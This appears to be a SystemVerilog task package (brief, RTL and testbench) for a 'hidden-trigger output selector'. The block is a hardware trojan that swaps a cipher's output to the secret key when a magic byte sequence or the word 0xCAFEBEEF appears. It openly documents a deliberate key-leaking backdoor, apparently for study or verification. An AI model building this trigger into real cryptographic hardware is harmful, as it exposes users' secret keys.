// File: doc/BRIEF.md
# Hidden-Trigger Output Selector

This block models a stealthy trigger that sits between a cipher core and its output port. Normally the output word carries the ciphertext supplied by the cipher (modelled here as an input). A hidden matcher takes in a byte stream and compares a 32-bit word. When its trigger condition is met, it swaps the output to the secret key word. The cipher and the key store are outside the block. The block only decides which of the two words reaches the output.

Two trigger modes exist, chosen by `trig_mode`. In sequence mode (`trig_mode` = 0) a six-state machine steps through the states IDLE, M1, M2, M3 and M4 as the bytes 0xCA, 0xAF, 0xEE, 0xBE and 0xEF arrive in that order on valid cycles. After the fifth byte it enters FIRED and stays there. The transitions are:
- advance, on a valid byte equal to the next expected one;
- restart, on a valid mismatching byte equal to 0xCA, which goes to M1;
- drop, on any other valid mismatching byte, which goes to IDLE;
- hold, on an invalid cycle;
- lock, from M4 to FIRED.

In word mode (`trig_mode` = 1) the select flag is a purely combinational compare of `word_in` against 0xCAFEBEEF. The sequence machine keeps tracking bytes in both modes.

Top module: `trig_select_top`

## Requirements
- R1: In sequence mode, the valid bytes 0xCA, 0xAF, 0xEE, 0xBE, 0xEF received in that order, with no other valid byte between them, set `sel_out` to 1.
- R2: `sel_out` is 0 in sequence mode until the final byte 0xEF has been sampled on a rising edge. It is 1 in the cycle that follows that edge.
- R3: `data_out` equals `cipher_in` when `sel_out` is 0 and equals `key_in` when `sel_out` is 1, combinationally in the same cycle.
- R4: In word mode (`trig_mode` = 1), `sel_out` is 1 exactly when `word_in` equals 0xCAFEBEEF in the same cycle. A word differing in any bit gives 0.
- R5: A cycle with `byte_vld` = 0 neither advances nor resets the sequence matcher, whatever value `byte_in` carries.
- R6: A valid byte that is not the next expected one returns the matcher to IDLE. If that byte is 0xCA, the matcher goes to M1 instead, so that 0xCA followed by the remaining four bytes still triggers.
- R7: Once FIRED is reached, `sel_out` stays 1 in sequence mode, whatever bytes follow, until reset.
- R8: `rst` is synchronous and active high. It returns the matcher to IDLE, so `sel_out` is 0 in sequence mode after the reset edge.
- R9: In sequence mode `word_in` has no effect on `sel_out`, not even the value 0xCAFEBEEF. In word mode the matcher state has no effect on `sel_out`.

## Ports
| Port | Direction | Width | Description |
|---|---|---|---|
| clk | input | 1 | Clock, rising edge |
| rst | input | 1 | Synchronous active-high reset |
| trig_mode | input | 1 | 0 = byte-sequence trigger, 1 = word-compare trigger |
| byte_in | input | 8 | Stream byte |
| byte_vld | input | 1 | `byte_in` is valid this cycle |
| word_in | input | 32 | Word compared in word mode |
| key_in | input | 64 | Secret key word |
| cipher_in | input | 64 | Ciphertext word from the cipher |
| data_out | output | 64 | Selected output word |
| sel_out | output | 1 | 1 when the key is routed to the output |

## Verification
The assertions assume that `trig_mode`, `byte_vld`, `byte_in` and `word_in` are stable around each rising edge and are known values after reset. They also assume that `rst` is asserted at the start of the run. The stimulus changes every input only at the falling edge and drives reset for the first cycles. Random bytes are biased toward the trigger bytes and 0xCA, so that partial matches, restarts and complete sequences all occur. Random words sometimes equal the magic value or differ from it by a single flipped bit.

// File: rtl/trig_pkg.sv
package trig_pkg;
    localparam int BYTE_W = 8;
    localparam logic [7:0] SEQ_B0 = 8'hCA;
    localparam logic [7:0] SEQ_B1 = 8'hAF;
    localparam logic [7:0] SEQ_B2 = 8'hEE;
    localparam logic [7:0] SEQ_B3 = 8'hBE;
    localparam logic [7:0] SEQ_B4 = 8'hEF;

    typedef enum logic [2:0] {
        ST_IDLE  = 3'd0,
        ST_M1    = 3'd1,
        ST_M2    = 3'd2,
        ST_M3    = 3'd3,
        ST_M4    = 3'd4,
        ST_FIRED = 3'd5
    } trig_state_t;

    function automatic logic [7:0] expect_byte(input trig_state_t s);
        logic [7:0] b;
        unique case (s)
            ST_IDLE:  b = SEQ_B0;
            ST_M1:    b = SEQ_B1;
            ST_M2:    b = SEQ_B2;
            ST_M3:    b = SEQ_B3;
            ST_M4:    b = SEQ_B4;
            default:  b = 8'h00;
        endcase
        return b;
    endfunction
endpackage

// File: rtl/trig_seq_fsm.sv
module trig_seq_fsm
    import trig_pkg::*;
(
    input  logic       clk,
    input  logic       rst,
    input  logic [7:0] byte_in,
    input  logic       byte_vld,
    output logic       fired
);
    trig_state_t state, nxt;
    logic        hit;
    trig_state_t restart;

    always_comb begin
        hit     = (byte_in == expect_byte(state));
        restart = (byte_in == SEQ_B0) ? ST_M1 : ST_IDLE;
        nxt     = state;
        if (byte_vld) begin
            unique case (state)
                ST_IDLE:  nxt = hit ? ST_M1 : ST_IDLE;
                ST_M1:    nxt = hit ? ST_M2 : restart;
                ST_M2:    nxt = hit ? ST_M3 : restart;
                ST_M3:    nxt = hit ? ST_M4 : restart;
                ST_M4:    nxt = hit ? ST_FIRED : restart;
                ST_FIRED: nxt = ST_FIRED;
                default:  nxt = ST_IDLE;
            endcase
        end
    end

    always_ff @(posedge clk) begin
        if (rst) state <= ST_IDLE;
        else     state <= nxt;
    end

    always_comb begin
        fired = (state == ST_FIRED);
    end

    a_r7_sticky: assert property (@(posedge clk) disable iff (rst)
        fired |=> fired);
    a_r2_last_byte: assert property (@(posedge clk) disable iff (rst)
        $rose(fired) |-> ($past(byte_vld) && $past(byte_in) == SEQ_B4));
    a_r5_hold_invalid: assert property (@(posedge clk) disable iff (rst)
        !byte_vld |=> $stable(state));
    a_r8_reset_idle: assert property (@(posedge clk)
        rst |=> (state == ST_IDLE));
    a_r6_restart_ca: assert property (@(posedge clk) disable iff (rst)
        (byte_vld && byte_in == SEQ_B0 && state != ST_FIRED) |=> (state == ST_M1));
endmodule

// File: rtl/trig_word_cmp.sv
module trig_word_cmp #(
    parameter int                WORD_W = 32,
    parameter logic [WORD_W-1:0] MAGIC  = 32'hCAFEBEEF
) (
    input  logic [WORD_W-1:0] word_in,
    output logic              match
);
    localparam int LANES = WORD_W / 8;
    logic [LANES-1:0] lane_eq;

    for (genvar g = 0; g < LANES; g++) begin : g_lane
        assign lane_eq[g] = (word_in[g*8 +: 8] == MAGIC[g*8 +: 8]);
    end

    assign match = &lane_eq;
endmodule

// File: rtl/trig_out_mux.sv
module trig_out_mux #(
    parameter int DW = 64
) (
    input  logic          sel,
    input  logic [DW-1:0] key_in,
    input  logic [DW-1:0] cipher_in,
    output logic [DW-1:0] data_out
);
    always_comb begin
        data_out = sel ? key_in : cipher_in;
    end
endmodule

// File: rtl/trig_select_top.sv
module trig_select_top
    import trig_pkg::*;
#(
    parameter int DW     = 64,
    parameter int WORD_W = 32
) (
    input  logic              clk,
    input  logic              rst,
    input  logic              trig_mode,
    input  logic [7:0]        byte_in,
    input  logic              byte_vld,
    input  logic [WORD_W-1:0] word_in,
    input  logic [DW-1:0]     key_in,
    input  logic [DW-1:0]     cipher_in,
    output logic [DW-1:0]     data_out,
    output logic              sel_out
);
    logic seq_fired;
    logic word_hit;

    trig_seq_fsm u_fsm (
        .clk      (clk),
        .rst      (rst),
        .byte_in  (byte_in),
        .byte_vld (byte_vld),
        .fired    (seq_fired)
    );

    trig_word_cmp #(.WORD_W(WORD_W), .MAGIC(32'hCAFEBEEF)) u_cmp (
        .word_in (word_in),
        .match   (word_hit)
    );

    always_comb begin
        sel_out = trig_mode ? word_hit : seq_fired;
    end

    trig_out_mux #(.DW(DW)) u_mux (
        .sel       (sel_out),
        .key_in    (key_in),
        .cipher_in (cipher_in),
        .data_out  (data_out)
    );

    a_r3_cipher_when_clear: assert property (@(posedge clk) disable iff (rst)
        !sel_out |-> (data_out == cipher_in));
    a_r3_key_when_set: assert property (@(posedge clk) disable iff (rst)
        sel_out |-> (data_out == key_in));
    a_r4_word_miss: assert property (@(posedge clk) disable iff (rst)
        (trig_mode && word_in != 32'hCAFEBEEF) |-> !sel_out);
endmodule

// File: tb/tb_trig_select_top.sv
module tb_trig_select_top;
    logic        clk = 0;
    logic        rst;
    logic        trig_mode;
    logic [7:0]  byte_in;
    logic        byte_vld;
    logic [31:0] word_in;
    logic [63:0] key_in, cipher_in, data_out;
    logic        sel_out;

    int total = 0;
    int bad   = 0;
    int prog  = 0;
    int cyc_n = 0;

    always #2.5 clk = ~clk;

    trig_select_top dut (
        .clk(clk), .rst(rst), .trig_mode(trig_mode), .byte_in(byte_in),
        .byte_vld(byte_vld), .word_in(word_in), .key_in(key_in),
        .cipher_in(cipher_in), .data_out(data_out), .sel_out(sel_out)
    );

    function automatic logic [7:0] seq_at(input int i);
        case (i)
            0: return 8'hCA;
            1: return 8'hAF;
            2: return 8'hEE;
            3: return 8'hBE;
            default: return 8'hEF;
        endcase
    endfunction

    function automatic int model_next(input int p, input logic v, input logic [7:0] b);
        if (!v || p == 5) return p;
        if (b == seq_at(p)) return p + 1;
        return (b == 8'hCA) ? 1 : 0;
    endfunction

    task automatic check(input string tag);
        logic        esel;
        logic [63:0] edata;
        esel  = trig_mode ? (word_in == 32'hCAFEBEEF) : (prog == 5);
        edata = esel ? key_in : cipher_in;
        total++;
        if (sel_out !== esel || data_out !== edata) begin
            bad++;
            $display("FAIL %s: sel=%0b data=%h expected sel=%0b data=%h",
                     tag, sel_out, data_out, esel, edata);
        end
    endtask

    task automatic step(input logic r, input logic m, input logic v,
                        input logic [7:0] b, input logic [31:0] w, input string tag);
        @(negedge clk);
        rst = r; trig_mode = m; byte_vld = v; byte_in = b; word_in = w;
        key_in = {$urandom, $urandom}; cipher_in = {$urandom, $urandom};
        @(posedge clk); #1;
        prog = r ? 0 : model_next(prog, v, b);
        check(tag);
    endtask

    task automatic send_seq(input string tag);
        for (int i = 0; i < 5; i++) step(0, 0, 1, seq_at(i), 32'h0, tag);
    endtask

    always @(posedge clk) begin
        cyc_n++;
        if (cyc_n > 100000) begin
            bad++; total++;
            $display("FAIL watchdog: cycles=%0d expected<=100000", cyc_n);
            $display("  test done: total=%0d bad=%0d", total, bad);
            $finish;
        end
    end

    initial begin
        void'($urandom(32'd2024));
        rst = 1; trig_mode = 0; byte_vld = 0; byte_in = 0; word_in = 0;
        key_in = 0; cipher_in = 0;
        step(1, 0, 0, 8'h00, 32'h0, "R8");
        step(1, 0, 1, 8'hCA, 32'h0, "R8 reset state");
        // R1 R2: plain sequence, select low until last byte
        send_seq("R2 R1");
        step(0, 0, 0, 8'h00, 32'h0, "R7");
        // R7: garbage after fire keeps key selected
        step(0, 0, 1, 8'h11, 32'h0, "R7 sticky");
        step(0, 0, 1, 8'hCA, 32'h0, "R7 sticky");
        // R8: reset clears
        step(1, 0, 0, 8'h00, 32'h0, "R8 clear");
        step(0, 0, 0, 8'h00, 32'h0, "R8 after");
        // R5: invalid bytes between sequence bytes are ignored
        step(0, 0, 1, 8'hCA, 32'h0, "R5");
        step(0, 0, 0, 8'h55, 32'h0, "R5 invalid");
        step(0, 0, 1, 8'hAF, 32'h0, "R5");
        step(0, 0, 0, 8'hEE, 32'h0, "R5 invalid");
        step(0, 0, 0, 8'hCA, 32'h0, "R5 invalid");
        step(0, 0, 1, 8'hEE, 32'h0, "R5");
        step(0, 0, 1, 8'hBE, 32'h0, "R5");
        step(0, 0, 1, 8'hEF, 32'h0, "R5 fires");
        step(1, 0, 0, 8'h00, 32'h0, "R8");
        // R6: mismatch with 0xCA restarts at M1
        step(0, 0, 1, 8'hCA, 32'h0, "R6");
        step(0, 0, 1, 8'hAF, 32'h0, "R6");
        step(0, 0, 1, 8'hCA, 32'h0, "R6 restart");
        send_seq("R6 after restart");
        step(1, 0, 0, 8'h00, 32'h0, "R8");
        // R6: other mismatch drops to idle; tail alone must not fire
        step(0, 0, 1, 8'hCA, 32'h0, "R6");
        step(0, 0, 1, 8'hAF, 32'h0, "R6");
        step(0, 0, 1, 8'hEE, 32'h0, "R6");
        step(0, 0, 1, 8'h00, 32'h0, "R6 drop");
        step(0, 0, 1, 8'hBE, 32'h0, "R6 no fire");
        step(0, 0, 1, 8'hEF, 32'h0, "R6 no fire");
        // R9: magic word in sequence mode ignored
        step(0, 0, 0, 8'h00, 32'hCAFEBEEF, "R9 seq ignores word");
        // R4: word mode
        step(0, 1, 0, 8'h00, 32'hCAFEBEEF, "R4 magic");
        step(0, 1, 0, 8'h00, 32'hCAFEBEEE, "R4 near miss");
        step(0, 1, 0, 8'h00, 32'h4AFEBEEF, "R4 near miss");
        step(0, 1, 0, 8'h00, 32'h00000000, "R4 zero");
        // R9: fired matcher ignored in word mode
        send_seq("R1");
        step(0, 1, 0, 8'h00, 32'h12345678, "R9 word mode ignores matcher");
        step(0, 0, 0, 8'h00, 32'h12345678, "R7 back to seq");
        step(1, 0, 0, 8'h00, 32'h0, "R8");
        // random phase
        for (int n = 0; n < 3000; n++) begin
            logic        r, m, v;
            logic [7:0]  b;
            logic [31:0] w;
            int          k;
            r = ($urandom_range(0, 199) == 0);
            m = ($urandom_range(0, 3) == 0);
            v = ($urandom_range(0, 3) != 0);
            k = $urandom_range(0, 9);
            b = (k < 5) ? seq_at(prog < 5 ? prog : 0) : (k < 7 ? 8'hCA : 8'($urandom));
            k = $urandom_range(0, 5);
            w = (k == 0) ? 32'hCAFEBEEF :
                (k == 1) ? (32'hCAFEBEEF ^ (32'h1 << $urandom_range(0, 31))) : $urandom;
            step(r, m, v, b, w, m ? "R4 random" : "R1 R6 random");
        end
        $display("  test done: total=%0d bad=%0d", total, bad);
        $finish;
    end
endmodule